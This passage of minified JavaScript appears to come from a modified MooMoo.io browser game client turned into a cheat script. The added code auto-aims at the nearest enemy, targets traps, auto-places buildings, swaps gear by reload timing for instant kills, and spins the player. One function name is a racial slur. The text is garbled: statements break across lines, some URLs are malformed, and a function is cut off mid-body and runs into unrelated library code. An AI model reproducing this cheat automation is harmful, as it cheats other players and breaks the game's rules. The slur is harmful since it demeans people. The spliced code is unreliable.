t.drawImage(s, e.scale - l.list[e.buildIndex].holdOffset, -s.width /
2)
}
si(0, 0, e.scale, t),
e.skinIndex > 0 && (t.rotate(Math.PI / 2),
function e(t, n, i, r) {
if (!(Gn = Jn[t])) {
var s = new Image;
s.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
s.src = ".././img/hats/hat_" + t + ".png",
Jn[t] = s,
Gn = s
}
var a = i || Kn[t];
if (!a) {
for (var o = 0; o < et.length; ++o)
if (et[o].id == t) {
a = et[o];
break
}
Kn[t] = a
}
Gn.isLoaded && n.drawImage(Gn, -a.scale / 2, -a.scale / 2, a.scale,
a.scale),
!i && a.topSprite && (n.save(),
n.rotate(r.skinRot),
e(t + "_top", n, a, r),
n.restore())
}(e.skinIndex, t, null, e))
}
var Gn, Jn = {}, Kn = {}, Qn = {}, $n = {}, Zn = {};
function ei(e, t, n, i, r) {
var s = e.src + (t || "")
, a = Zn[s];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + s + ".png",
Zn[s] = a),
a.isLoaded && r.drawImage(a, n + e.xOff - e.length / 2, i + e.yOff -
e.width / 2, e.length, e.width)
}
var ti = {};
function ni(e) {
var t = e.y >= o.mapScale - o.snowBiomeTop ? 2 : e.y <= o.snowBiomeTop ?
1 : 0
, n = e.type + "_" + e.scale + "_" + t
, i = ti[n];
if (!i) {
var r = document.createElement("canvas");
r.width = r.height = 2.1 * e.scale + 5.5;
var a = r.getContext("2d");
if (a.translate(r.width / 2, r.height / 2),
a.rotate(s.randFloat(0, Math.PI)),
a.strokeStyle = it,
a.lineWidth = 5.5,
0 == e.type)
for (var c, l = 0; l < 2; ++l)
ai(a, 7, c = _.scale * (l ? .5 : 1), .7 * c),
a.fillStyle = t ? l ? "#fff" : "#e3f1f4" : l ? "#b4db62"
: "#9ebf57",
a.fill(),
l || a.stroke();
else if (1 == e.type)
if (2 == t)
a.fillStyle = "#606060",
ai(a, 6, .3 * e.scale, .71 * e.scale),
a.fill(),
a.stroke(),
a.fillStyle = "#89a54c",
si(0, 0, .55 * e.scale, a),
a.fillStyle = "#a5c65b",
si(0, 0, .3 * e.scale, a, !0);
else {
var h;
!function(e, t, n, i) {
var r, a = Math.PI / 2 * 3, o = Math.PI / 6;
e.beginPath(),
e.moveTo(0, -i);
for (var c = 0; c < 6; c++)
r = s.randInt(n + .9, 1.2 * n),
e.quadraticCurveTo(Math.cos(a + o) * r,
Math.sin(a + o) * r, Math.cos(a + 2 * o) * i, Math.sin(a + 2 * o) * i),
a += 2 * o;
e.lineTo(0, -i),
e.closePath()
}(a, 0, _.scale, .7 * _.scale),
a.fillStyle = t ? "#e3f1f4" : "#89a54c",
a.fill(),
a.stroke(),
a.fillStyle = t ? "#6a64af" : "#c15555";
var u = T / 4;
for (l = 0; l < 4; ++l)
si((h = s.randInt(_.scale / 3.5, _.scale / 2.3)) *
Math.cos(u * l), h * Math.sin(u * l), s.randInt(10, 12), a)
}
else
2 != e.type && 3 != e.type || (a.fillStyle = 2 == e.type ? 2 ==
t ? "#938d77" : "#939393" : "#e0c655",
ai(a, 3, e.scale, e.scale),
a.fill(),
a.stroke(),
a.fillStyle = 2 == e.type ? 2 ==
t ? "#b2ab90" : "#bcbcbc" : "#ebdca3",
ai(a, 3, .55 * e.scale, .65 *
e.scale),
a.fill());
i = r,
ti[n] = i
}
return i
}
function biome(q) {
let Qs = R.y2*1.5-R.y/2;
Jt(0, 1);
if(Qs < 2400){
Equip(6, 11);
}else if(Qs > 6850 && Qs < 7550){
Equip(6, 11);
}else{
Equip(6, 11);
}
}
function Equip(e, t) {
hasBought(e, "skins") ? (Jt(e, 0), hasBought(t, "tails") ? (Jt(0, 1),
Jt(t, 1)) : (Kt(t, 1), Jt(0, 1), Jt(t, 1))) : (Kt(e, 0), Jt(e, 0), hasBought(t,
"tails") ? (Jt(0, 1), Jt(t, 1)) : Jt(0, 1));
}
function hasBought(e, t) {
if(R[t][e] != undefined) {
return true
} else {
return false;
}
}
function fuck() {
let s = setInterval(async () => {
await (primaryReload[R.sid] == 1 && secondaryReload[R.sid] == 1);
await nextTick();
xn();
clearInterval(s);
});
}
function biomeeval(q) {
let Qs = R.y2*1.5-R.y/2;
if(Qs < 2400){
return [6, 11];
}else if(Qs > 6850 && Qs < 7550){
return [6, 11];
}else{
return [6, 11];
}
}
async function trapSupport() {
if(hit.p != true) {
if(!nEs.length) {
aT(R.items[4], R.items[4]), hit.p = true;
} else {
if(Date.now() - heal.delay < 300 || (checkConstant() !=
undefined && checkConstant()[1] && s.getDistance(ntE[1], ntE[2], R.x, R.y) <=
l.weapons[R.weaponIndex].range * 2)) {
aT(R.items[3], R.items[4]), hit.p = true;
} else {
aT(R.items[2], R.items[4]), hit.p = true;
}
}
}
}
function pAsa(r, d, a, e = place) {
for(let i = d[0]; i <= 360; i *= Math.round(d[d.length-1]/d[0])) {
e(r, Math.atan2(ntE[2] - R.y, ntE[1] - R.x) + toRad(1) * i);
}
}
function trs(t) {
if(hit.p != true) {
for (let i = 0; i <= 360; i += 10) {
Hq(t, Math.atan2(ntE[2] - R.y, ntE[1] - R.x) + toRad(1) * i),
hit.p = true;
}
}
}
var ii = [];
function ri(e, t) {
var n = ii[e.id];
if (!n || t) {
var i = document.createElement("canvas");
i.width = i.height = 2.5 * e.scale + 5.5 +
(l.list[e.id].spritePadding || 0);
var r = i.getContext("2d");
if (r.translate(i.width / 2, i.height / 2),
r.rotate(t ? 0 : Math.PI / 2),
r.strokeStyle = it,
r.lineWidth = 5.5 * (t ? i.width / 81 : 1),
"apple" == e.name) {
r.fillStyle = "#c15555",
si(0, 0, e.scale, r),
r.fillStyle = "#89a54c";
var a = -Math.PI / 2;
!function(e, t, n, i, r) {
var s = e + 25 * Math.cos(i)
, a = t + 25 * Math.sin(i);
r.moveTo(e, t),
r.beginPath(),
r.quadraticCurveTo((e + s) / 2 + 10 * Math.cos(i +
Math.PI / 2), (t + a) / 2 + 10 * Math.sin(i + Math.PI / 2), s, a),
r.quadraticCurveTo((e + s) / 2 - 10 * Math.cos(i +
Math.PI / 2), (t + a) / 2 - 10 * Math.sin(i + Math.PI / 2), e, t),
r.closePath(),
r.fill(),
r.stroke()
}(e.scale * Math.cos(a), e.scale * Math.sin(a), 0, a + Math.PI /
2, r)
} else if ("cookie" == e.name) {
r.fillStyle = "#cca861",
si(0, 0, e.scale, r),
r.fillStyle = "#937c4b";
for (var o = T / (h = 4), c = 0; c < h; ++c)
si((u = s.randInt(e.scale / 2.5, e.scale / 1.7)) *
Math.cos(o * c), u * Math.sin(o * c), s.randInt(4, 5), r, !0)
} else if ("cheese" == e.name) {
var h, u;
for (r.fillStyle = "#f4f3ac",
si(0, 0, e.scale, r),
r.fillStyle = "#c3c28b",
o = T / (h = 4),
c = 0; c < h; ++c)
si((u = s.randInt(e.scale / 2.5, e.scale / 1.7)) *
Math.cos(o * c), u * Math.sin(o * c), s.randInt(4, 5), r, !0)
} else if ("wood wall" == e.name || "stone wall" == e.name ||
"castle wall" == e.name) {
r.fillStyle = "castle wall" == e.name ? "#83898e" : "wood wall"
== e.name ? "#a5974c" : "#939393";
var f = "castle wall" == e.name ? 4 : 3;
ai(r, f, 1.1 * e.scale, 1.1 * e.scale),
r.fill(),
r.stroke(),
r.fillStyle = "castle wall" == e.name ? "#9da4aa" : "wood
wall" == e.name ? "#c9b758" : "#bcbcbc",
ai(r, f, .65 * e.scale, .65 * e.scale),
r.fill()
} else if ("spikes" == e.name || "greater spikes" == e.name ||
"poison spikes" == e.name || "spinning spikes" == e.name) {
r.fillStyle = "poison spikes" == e.name ? "#7b935d" : "#939393";
var d = .6 * e.scale;
ai(r, "spikes" == e.name ? 5 : 6, e.scale, d),
r.fill(),
r.stroke(),
r.fillStyle = "#a5974c",
si(0, 0, d, r),
r.fillStyle = "#c9b758",
si(0, 0, d / 2, r, !0)
} else if ("windmill" == e.name || "faster windmill" ==
e.name || "power mill" == e.name) r.fillStyle = "#a5974c", si(0, 0, e.scale, r),
r.fillStyle = "#c9b758", ci(0, 0, 1.5 * e.scale, 29, 4, r), r.fillStyle =
"#a5974c", si(0, 0, .5 * e.scale, r);
else if ("mine" == e.name)
r.fillStyle = "#939393",
ai(r, 3, e.scale, e.scale),
r.fill(),
r.stroke(),
r.fillStyle = "#bcbcbc",
ai(r, 3, .55 * e.scale, .65 * e.scale),
r.fill();
else if ("sapling" == e.name)
for (c = 0; c < 2; ++c)
ai(r, 7, d = e.scale * (c ? .5 : 1), .7 * d),
r.fillStyle = c ? "#b4db62" : "#9ebf57",
r.fill(),
c || r.stroke();
else if ("pit trap" == e.name)
r.fillStyle = "#a5974c",
ai(r, 3, 1.1 * e.scale, 1.1 * e.scale),
r.fill(),
r.stroke(),
r.fillStyle = it,
ai(r, 3, .65 * e.scale, .65 * e.scale),
r.fill();
else if ("boost pad" == e.name)
r.fillStyle = "#7e7f82",
oi(0, 0, 2 * e.scale, 2 * e.scale, r),
r.fill(),
r.stroke(),
r.fillStyle = "#dbd97d",
function(e, t) {
t = t || be;
var n = e * (Math.sqrt(3) / 2);
t.beginPath(),
t.moveTo(0, -n / 2),
t.lineTo(-e / 2, n / 2),
t.lineTo(e / 2, n / 2),
t.lineTo(0, -n / 2),
t.fill(),
t.closePath()
}(1 * e.scale, r);
else if ("turret" == e.name)
r.fillStyle = "#a5974c",
si(0, 0, e.scale, r),
r.fill(),
r.stroke(),
r.fillStyle = "#939393",
oi(0, -25, .9 * e.scale, 50, r),
si(0, 0, .6 * e.scale, r),
r.fill(),
r.stroke();
else if ("platform" == e.name) {
r.fillStyle = "#cebd5f";
var p = 2 * e.scale
, g = p / 4
, m = -e.scale / 2;
for (c = 0; c < 4; ++c)
oi(m - g / 2, 0, g, 2 * e.scale, r),
r.fill(),
r.stroke(),
m += p / 4
} else
"healing pad" == e.name ? (r.fillStyle = "#7e7f82",
oi(0, 0, 2 * e.scale, 2 * e.scale,
r),
r.fill(),
r.stroke(),
r.fillStyle = "#db6e6e",
ci(0, 0, .65 * e.scale, 20, 4, r, !
0)) : "spawn pad" == e.name ? (r.fillStyle = "#7e7f82",
r.fill(),
r.stroke(),
r.fillStyle = "#71aad6",
r.fill(),
r.stroke(),
r.rotate(Math.PI / 4),
r.fillStyle = "#db6e6e",
r.fill(),
r.stroke(),
r.rotate(Math.PI / 4),
r.fillStyle = "#d76edb",
setInterval(function(){
ctl = Math.abs(Math.ceil(Date.now() - ltcl));
[ctl].forEach(t=>t>Math.ceil((1000/9)/2)?t_s = !1:t_s = !0);
if(!!autoaim) r.send("2", Math.atan2(ntE[2] - R.y, ntE[1] - R.x));
if(!!trapaim) itp.vis && (r.send("2", Math.atan2(itp.y - R.y, itp.x -
R.x)));
//if(!!buildingaim) sliceByName(buildName) != undefined && (r.send("2",
Math.atan2(sliceByName(buildName).y - R.y, sliceByName(buildName).x - R.x)));
});
var nEy;
var oldShit = {a: null, b: null};
let gameEnemy = {};
let gameTeammate = {};
let nearest, all;
let tC = 0;
let ntE;
let nEs;
let currentX = [], currentY = [], nowX = [], nowY = [];
async function Ti(e) {
eznigger();
resolveConstructor();
!itp.vis && Mill.z && Mills();
nEy = {};
ntE = [];
nEs = [];
nowX = [], nowY = [];
ltcl = Date.now();
tC++;
for (var t = Date.now(), n = 0; n < W.length; ++n)
W[n].forcePos = !W[n].visible,
W[n].visible = !1;
for (n = 0; n < e.length; )
(_ = Ii(e[n])) && (_.t1 = void 0 === _.t2 ? t : _.t2,
_.t2 = t,
_.x1 = _.x,
_.y1 = _.y,
_.x2 = e[n + 1],
_.y2 = e[n + 2],
nowX[_.sid] = _.x2, nowY[_.sid] = _.y2,
(lastX[_.sid] && lastY[_.sid] && (tC - 1 ==
_.lastData ? (_.preX = ((_.x2 * 2) - lastX[_.sid]), _.preY = ((_.y2 * 2) -
lastY[_.sid])) : (_.preX = _.x2, _.preY = _.y2))),
_.lastData = tC,
_.d1 = void 0 === _.d2 ? e[n + 3] : _.d2,
_.d2 = e[n + 3],
(_.dt > 200 && uq++),
_.movement = Math.hypot(_.y1 - _.y2, _.x1 -
_.x2),
_.dt = 0,
_.buildIndex = e[n + 4],
_.weaponIndex = e[n + 5],
_.weaponVariant = e[n + 6],
_.team = e[n + 7],
_.isLeader = e[n + 8],
_.skinIndex = e[n + 9],
_.tailIndex = e[n + 10],
_.iconIndex = e[n + 11],
_.zIndex = e[n + 12],
_.visible = !0,
(_ == R || _.team && _.team == R.team) ?
doWeaponStuff(_) : nEs.push(e.slice(n, n + 13))), n += 13,
!!nEs.length && (nEs = nEs.sort((a, b) => s.getDistance(a[1],
a[2], R.x, R.y) - s.getDistance(b[1], b[2], R.x, R.y)), ntE = nEs[0]),
solvePlayerType();
nEy = W.length && W.filter(e => e.sid != R.sid || e.team && e.team !=
R.team).sort((a, b) => s.getDistance(a.x, a.y, R.x, R.y) - s.getDistance(b.x, b.y,
R.x, R.y))[0];
erp && nEs.length && !itp.vis && s.getDistance(ntE[1], ntE[2], R.x, R.y)
<= 300 && autoPlace(nEy);
let track = new createTrack(nHeal.delay_1, nHeal.delay_2,
nHeal.exchange, nHeal.damaged);
lastX = nowX;
lastY = nowY;
for(let i in gameEnemy[all]) {
doWeaponStuff(Ii(gameEnemy[all][i].sid));
}
if(R.shameCount > 3 && !itp.vis) {
if(((tC - R.lastBull) % 9 == 0 || (R.lastBull && uq > 1))) {
Equip(7, 11);
}
} else {
if((R.shameCount == 5 || R.shameCount < 5) && R.skinIndex == 7 &&
((tC - R.lastBull) % 9 != 0 || (R.lastBull && uq < 1))) {
if(nEs.length) {
Equip(oldShit.a, oldShit.b);
} else {
biome(11);
}
}
}
if(R.buildIndex != -1 && s.getDistance(R.x, R.y, ntE[1], ntE[2]) > twq()
&& !itp.vis) {
spin.toggle = true;
await nextTick();
await nextTick();
spin.toggle = false;
} else if(R.buildIndex != -1 && itp.vis && R.skinIndex == 6) {
spin.toggle = true;
await nextTick();
await nextTick();
spin.toggle = false;
}
//nEy && console.log(goesTo(nEy.sid, {}, R.x2, R.y2, Math.atan2(nEy.y2 -
R.y2, R.x2 - R.x2),
script.data.projectiles[script.data.weapons[R.weapons[1]].projectile], R));
//console.log(twq());
/*
if(nEs.length) {
if(!itp.vis) {
if([4, 5].includes(R.weapons[0]) && R.weapons[1] == 15) {
if (s.getDistance(ntE[1], ntE[2], R.x, R.y) <= twq()) {
if(R.shameCount > 3 || (Date.now() - nHeal.delay_1 >=
120 && (Date.now() - nHeal.delay_2 < (l.weapons[R.weapons[1]].speed * 2) - 111)) ||
(nEy.shameCount > 0 && R.skinIndex == 7 && (tC - Ii(ntE[0]).lastBull) % 9 == 8)){
if (secondaryReload[R.sid] == 1) {
if(primaryReload[R.sid] == 1) {
fuck();
}
}
} else {
if(primaryReload[R.sid] == 1) {
Kt(7, 0), Kt(21, 1), Jt(0, 1), Jt(7, 0), Jt(21,
1), autoaim = true, r.send("c", 1), R.weaponIndex != R.weapons[0] &&
(Sn(R.weapons[0], 1));
} else {
[4, 5, 15, 13].includes(ntE[5]) &&
secondaryReload[ntE[0]] == 1 ? (Kt(6, 0), Jt(6, 0), Jt(0, 1), Kt(21, 1), Jt(21, 1))
: biome(21);
}
}
}
}
}
}
/*
if(nEs.length) {
if(nEy.shameCount > 0) {
if(nEy.skinIndex == 7 && (nEy.skinIndex == 13 ||
s.getDistance(R.x, R.y, ntE[1], ntE[2]) <= l.weapons[ntE[5]].range + 35)) {
if((tC - Ii(ntE[0]).lastBull) % 9 == 8) {
system(nEy.sid, "bull ticks at the shame of
"+nEy.shameCount);
}
}
if(track.healTime < 120) {
let s = nEy.shameCount;
if(s < nEy.shameCount) {
system(nEy.sid, "clowns to bull spam");
}
}
}
}
*/
//console.log(N);
//console.log(countBuildingIndex("windmill", 300, R));
//console.log(cwd("speed", 2, l.weapons[R.weaponIndex].range + (35 *
countPlayerIndex(500))));
if(itp.vis) {
if(secondaryReload[R.sid] == 1 && turretReload[R.sid] == 1 && 15 ==
R.weapons[1] && Math.hypot(ntE[1] - R.x, ntE[2] - R.y) <= twq() && R.weapons[0] ==
4) {
trapaim = false;
await nextTick();
xn();
} else {
if(!itp.insta) {
trapaim = true;
if(R.weapons[1] == 10) {
if(R.weapons[0] == 7) {
if(R.weaponIndex == R.weapons[0]) {
if(itp.health <= 20) {
Equip(40), r.send("c", 1);
} else {
Sn(R.weapons[1], 1);
}
} else {
r.send("c", 1);
if(itp.health > 20) {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
} else {
Sn(R.weapons[0], 1);
}
}
} else if(R.weapons[0] == 4) {
if(R.weaponIndex == R.weapons[0]) {
if(primaryReload[R.sid] > 0.49) {
Equip(40), r.send("c", 1);
} else {
Sn(R.weapons[1], 1);
}
} else {
r.send("c", 1);
if(itp.health > 40) {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
} else {
if(primaryReload[R.sid] > 0.49) {
Sn(R.weapons[0], 1);
} else {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
}
}
}
} else {
if(R.weaponIndex == R.weapons[0]) {
if(primaryReload[R.sid] > 0.67) {
Equip(40), r.send("c", 1);
} else {
Sn(R.weapons[1], 1);
}
} else {
r.send("c", 1);
if(itp.health > 40) {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
} else {
if(primaryReload[R.sid] > 0.67) {
Sn(R.weapons[0], 1);
} else {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
}
}
}
}
} else {// can insta
if(R.weapons[0] != R.weaponIndex) {
Sn(R.weapons[0], 1);
} else {
r.send("c", 1);
if(primaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(6);
}
}
}
}
}
}
if(spin.toggle) r.send("2", pn() + spn());
Update();
}
function convertToArray(e) {
return !(e instanceof Array) && (typeof e === "number" ? [e] :
Array(e));
}
function dist(a, b){
return Math.sqrt(Math.pow(((b.preY || b.y2)-(a.preY ||
a.y2)),2)+Math.pow(((b.preX || b.x2)-(a.preX || a.x2)),2));
}
function eznigger() { //ae86 lookalike bars plsssssss
document.getElementById("actionBarItem17").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/889751297329365063/928763753158279228/
New_Project_60.png')";
document.getElementById("actionBarItem18").style.backgroundImage =
"url('hhttps://cdn.discordapp.com/attachments/889751297329365063/928763753158279228
/New_Project_60.png')";
if(document.getElementById("actionBarItem31"))
document.getElementById("actionBarItem31").style.display = "none";
if(document.getElementById("actionBarItem34"))
document.getElementById("actionBarItem34").style.display = "none";
if(document.getElementById("actionBarItem33"))
document.getElementById("actionBarItem33").style.display = "none";
if(document.getElementById("actionBarItem36"))
document.getElementById("actionBarItem36").style.display = "none";
if(document.getElementById("actionBarItem37"))
document.getElementById("actionBarItem37").style.display = "none";
if(document.getElementById("actionBarItem38"))
document.getElementById("actionBarItem38").style.display = "none";
if(document.getElementById("actionBarItem35"))
document.getElementById("actionBarItem35").style.display = "none";
if(document.getElementById("actionBarItem29"))
document.getElementById("actionBarItem29").style.display = "none";
if(document.getElementById("actionBarItem36"))
document.getElementById("actionBarItem36").style.display = "none";
if(document.getElementById("actionBarItem21"))
document.getElementById("actionBarItem21").style.display = "none";
if(document.getElementById("actionBarItem20"))
document.getElementById("actionBarItem20").style.backgroundImage =
"url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEIAAABCCAYAAADjVADoAAAAAXNSR0I
Ars4c6QAAA4ZJREFUeF7tmr1v00AYxh+btqRF4qMUWlQWYEEsgFgQQsyOO7QGIcGAhAQbEyD+C2BihAEJCc
TiMORcOiKEWCpgQSyIBUQDpXwIkjRJY+QkhsQ6f54vTtXXW5Q7+31/
ft7nznengK4WAYU4tAkQiI4SCASB6DUFUgQpghTBHSipNAalNGZmzuyv19d2LCwUFrOc02SqCF03VgGMdAC
UGDOnsoKRCQhdN+yghBkz+x5X3x8YBsEF1G8YfQPhB2As1xZHucoPpV9ApIPQdeMOgCu8UtBO1qCq7X+aTW
D+uWsXnjFewf1i0bwo0z+kgdB1owBglhe8fqoWmBN7xgdi2/
ZTyypoMoBIAaHrp38D9pYkEP55hA8MAN8ZM8fThpEqiCAjDFOBX2J+6nDa23Y1Z1mWMwQLX6mAkAHAm1kQk
DQMVQiEphlnVRWPea/
j2KEGJieawm+q+walZRWLb4f43wqKfaFYLDxI+sBEIDRt9qqqqrd5Dz1xpI7tWwPnSz3ddo1vbv3+uhJd4T
9+KXjxepibs203b1jWk5txgSQC4VcKcX1g395eP/
3w8U+s+P3KJUmppAJCFIA3e1EgmYCIA2FkSMX01Gikt/
5pqYJaI7rHdKtjYEGM5jZhaiIXCYC30dJyFZXqWmjfgQfh9YHQjHwahJXLwIJIC0BU/
yAQHVIEgkD0Fg0pghRBiuAOsFQaVBpUGlQaDgG/
qTZ5BHkEecT68gg32rS+QtftZ3j3axsbHcLkzvYibdyr9G0V5UojtNvAmiUv8pFhFdOTEZfqShXU6utoqc5
JOM66pdM+rFzCysAL2buancmaZXdQokBEAbix9BPENQC3ePI/friO8W1yN3hWfip4+Ya/wQPgOmMmd/
MpyGgS7Wu4N9Q045yq4iHvAUcPNrBnd/QaD3VDAJ+/qHj1jr/l12zi/
Py8+SjKfXhthEC4N9zwm8BesjKAyN4Fd3NIRREcIM4m5hhPglENNQBAmTGTewglaVk4/
aSAaA2pusEA5JPACIBgMWbqIgn79ZUG4r9/
zN0FlEu8AKIeJgPse4wVLssAILU0uCrwOWS6YY4XxjHU7rZJJkUiipFeGnHUITIzFIEg1SyjBJbPGzVFQWu
KaNuoW5bJP2AZ5WaCbTJRRHfM+fzcAee3ZRXeC+Yi1D1zEELRp9iZQHRgEggC0VtXpAhSBCmCO9ZQaVBp9A
rjL61iwlIxaotoAAAAAElFTkSuQmCC'";
if(document.getElementById("actionBarItem24"))
document.getElementById("actionBarItem24").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/943238174346477580/947617189907800095/
g8YYpRhVvExqAAAAABJRU5ErkJggg.png'";
if(document.getElementById("actionBarItem25"))
document.getElementById("actionBarItem25").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/943238174346477580/947617189907800095/
g8YYpRhVvExqAAAAABJRU5ErkJggg.png'";
if(document.getElementById("actionBarItem24"))
document.getElementById("actionBarItem25").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/943238174346477580/947617189907800095/
g8YYpRhVvExqAAAAABJRU5ErkJggg.png'";
if(document.getElementById("actionBarItem23"))
document.getElementById("actionBarItem23").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/943238174346477580/947617189907800095/
g8YYpRhVvExqAAAAABJRU5ErkJggg.png'";
if(document.getElementById("actionBarItem30"))
document.getElementById("actionBarItem30").style.display = "none";
if(document.getElementById("actionBarItem32"))
document.getElementById("actionBarItem32").style.display = "none";
if(document.getElementById("chatBox"))
document.getElementById("chatBox").style.opacity = "0";
}
function Update(e, t, n){
nEy && R.weapons[1] && secondaryReload[R.sid] == 1 && [9, 12, 13,
15].includes(R.weapons[1]) ?
(nEy.available = goesTo(nEy.sid, {}, R.x2, R.y2, Math.atan2(nEy.y2 -
R.y2, nEy.x2 - R.x2),
script.data.projectiles[script.data.weapons[R.weapons[1]].projectile], R)) : (nEy
&& (nEy.available = false))
for(let i of script.fix) i.indicator(...i.data);
script.fix = [];
script.tick.l = Date.now();
script.tick.f();
}
function Hq(e, t = pn(), n, i) {
n = l.list[e];
if(n != undefined) {
i = (35 + n.scale + (e.placeOffset || 0));
if(n && nt.checkItemLocation(R.x2 + Math.cos(t) * i, R.y2 +
Math.sin(t) * i, n.scale, .6, n.id, false)) {
place(e, t);
return true;
} else {
return false;
}
} else {
return false;
}
};
function twq(r, t, s, n) {
var p = checkConstant() != undefined && (checkConstant()[1]);
r = (l.weapons[R.weaponIndex].range + 35);
t = MM(nEy);
n = MM(R);
s = !p ? t > 1.4 ? Math.abs((r * t) - (window.pingTime/2)) : t < 1 ? r :
r * t : n > 1.4 ? Math.abs((r * n) - (window.pingTime/2)) : n < 1 ? r : r * n;
return Math.trunc(s);
}
function countPlayerIndex(e) {
let tt = 0;
let data = W.length && W.filter(a => a.active && s.getDistance(a.x, a.y,
R.x, R.y) <= e).forEach((b, i) => tt = i+1);
return tt;
}
function countBuildingIndex(e, r, o) {
let tt = 0;
let data = N.length && N.filter(a => a.isItem && a.active && a.owner.sid
== o.sid && [a.name].includes(e) && s.getDistance(a.x, a.y, R.x, R.y) <=
r).forEach((b, i) => tt = i+1);
return tt;
}
function cwd(t, c, r) {
let d = [];
W.length && W.filter(o => o.sid != R.sid && o.active &&
s.getDistance(o.x, o.y, R.x, R.y) <= r).forEach(async (b, i) => {
await (i == c || i > c), d.push(l.weapons[b.sid.weaponIndex][t]);
});
return d;
}
function MM(_) {
var i = (_.buildIndex && _.buildIndex >= 0 ? .5 : 1) * (_.weaponIndex &&
l.weapons[_.weaponIndex].spdMult || 1) * (_.skinIndex && et.find(s => s.id ==
_.skinIndex).spdMult || 1) * (_.tailIndex && tt.find(r => r.id ==
_.tailIndex).spdMult || 1) * (_.y <= o.snowBiomeTop ? _.skinIndex && et.find(p =>
p.id == _.skinIndex).coldM ? 1 : .75 : 1) * _.slowMult;
!_.zIndex && _.y >= o.mapScale / 2 - o.riverWidth / 2 && f <= o.mapScale
/ 2 + o.riverWidth / 2 && (_.skinIndex && et.find(s => s.id == _.skinIndex).watrImm
? (i *= 0.75) : (i *= 0.33));
return i;
}
function doWeaponStuff(_){
if(_.skinIndex == 45){
_.shameCount = 8;
}else if(isNaN(_.shameCount)){
_.shameCount = 0;
}
o[l[0]][l[1]] = a),
r.push((a ? "" : "no-") + l.join("-"))
}
}(),
function(e) {
var t = c.className
, n = o._config.classPrefix || "";
if (l && (t = t.baseVal),
o._config.enableJSClass) {
var i = new RegExp("(^|\\s)" + n + "no-js(\\s|$)");
t = t.replace(i, "$1" + n + "js$2")
}
o._config.enableClasses && (t += " " + n + e.join(" " + n),
l ? c.className.baseVal = t :
c.className = t)
}(r),
delete a.addTest,
delete a.addAsyncTest;
for (var h = 0; h < o._q.length; h++)
o._q[h]();
e.Modernizr = o
}(window, document)
}
, function(e, t, n) {
var i = n(24);
n(19),
e.exports = {
socket: null,
connected: !1,
socketId: -1,
connect: function(e, t, n) {
if (!this.socket) {
var r = this;
try {
var s = !1
, a = e;
this.socket = new WebSocket(a),
this.socket.binaryType = "arraybuffer",
this.socket.onmessage = function(e) {
var t = new Uint8Array(e.data)
, s = i.decode(t)
, a = s[0];
t = s[1],
"io-init" == a ? r.socketId = t[0] : n[a].apply(void
0, t)
}
,
this.socket.onopen = function() {
r.connected = !0,
t()
}
,
this.socket.onclose = function(e) {
r.connected = !1,
4001 == e.code ? t("Invalid Connection") : s ||
t("disconnected")
}
,
this.socket.onerror = function(e) {
this.socket && this.socket.readyState != WebSocket.OPEN
&& (s = !0,
t("Socket error"))
}
} catch (e) {
console.warn("Socket connection error:", e),
t(e)
}
}
},
send: function(e) {
var t = Array.prototype.slice.call(arguments, 1)
, n = i.encode([e, t]);
this.socket.send(n)
},
socketReady: function() {
return this.socket && this.connected
},
close: function() {
this.socket && this.socket.close()
}
}
}
, function(e, t, n) {
t.encode = n(9).encode,
t.decode = n(15).decode,
t.Encoder = n(37).Encoder,
t.Decoder = n(38).Decoder,
t.createCodec = n(39).createCodec,
t.codec = n(40).codec
}
, function(e, t, n) {
(function(t) {
function n(e) {
return e && e.isBuffer && e
}
e.exports = n(void 0 !== t && t) || n(this.Buffer) || n("undefined" !=
typeof window && window.Buffer) || this.Buffer
}
).call(this, n(11).Buffer)
}
, function(e, t, n) {
"use strict";
t.byteLength = function(e) {
var t = l(e)
, n = t[0]
, i = t[1];
return 3 * (n + i) / 4 - i
}
,
t.toByteArray = function(e) {
var t, n, i = l(e), a = i[0], o = i[1], c = new s(function(e, t, n) {
return 3 * (t + n) / 4 - n
}(0, a, o)), h = 0, u = o > 0 ? a - 4 : a;
for (n = 0; n < u; n += 4)
t = r[e.charCodeAt(n)] << 18 | r[e.charCodeAt(n + 1)] << 12 |
r[e.charCodeAt(n + 2)] << 6 | r[e.charCodeAt(n + 3)],
c[h++] = t >> 16 & 255,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t;
return 2 === o && (t = r[e.charCodeAt(n)] << 2 | r[e.charCodeAt(n + 1)]
>> 4,
c[h++] = 255 & t),
1 === o && (t = r[e.charCodeAt(n)] << 10 | r[e.charCodeAt(n + 1)] <<
4 | r[e.charCodeAt(n + 2)] >> 2,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t),
c
}
,
t.fromByteArray = function(e) {
for (var t, n = e.length, r = n % 3, s = [], a = 0, o = n - r; a < o; a
+= 16383)
s.push(u(e, a, a + 16383 > o ? o : a + 16383));
return 1 === r ? (t = e[n - 1],
s.push(i[t >> 2] + i[t << 4 & 63] + "==")) : 2 === r
&& (t = (e[n - 2] << 8) + e[n - 1],
s.push(i[t >> 10] + i[t >> 4 & 63] + i[t << 2 & 63] + "=")),
s.join("")
}
;
for (var i = [], r = [], s = "undefined" != typeof Uint8Array ? Uint8Array :
Array, a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", o =
0, c = a.length; o < c; ++o)
i[o] = a[o],
r[a.charCodeAt(o)] = o;
function l(e) {
var t = e.length;
if (t % 4 > 0)
